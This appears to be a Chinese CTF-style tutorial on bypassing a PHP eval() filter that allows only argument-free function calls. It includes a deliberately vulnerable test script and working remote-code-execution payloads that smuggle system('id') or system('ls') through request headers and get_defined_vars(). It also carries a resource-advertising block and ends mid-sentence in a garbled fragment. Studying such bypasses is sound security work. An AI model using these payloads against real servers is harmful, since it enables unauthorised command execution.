前言
在这里总结一下无参数命令执行。
环境准备
测试代码
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
关键代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。
本文涉及的相关函数
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件
【一>所有资源获取<一】
1、电子书籍(白帽子)
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线
关键函数
getenv()
getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本
?code=var_dump(getenv());
php7.0以下返回bool(false)
php7.0以上正常回显
?code=var_dump(getenv(phpinfo()));
phpinfo()可以获取所有环境变量
getallheaders()
getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用
传入?code=print_r(getallheaders());,数组返回 HTTP 请求头
Payload1
使用end指向最后一个请求头,用其值进行rce
GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');
● end():将数组的内部指针指向最后一个单元
Payload2
此payload适用于php7以上版本
GET /1.php?exp=eval(end(apache_request_headers())); HTTP/1.1
....
flag: system('id');
get_defined_vars()
Payload1
?code=eval(end(current(get_defined_vars())));&flag=system('ls');
利用全局变量进RCE
get_defined_vars():返回由所有已定义变量所组成的数组,会返回 G E T , _GET, </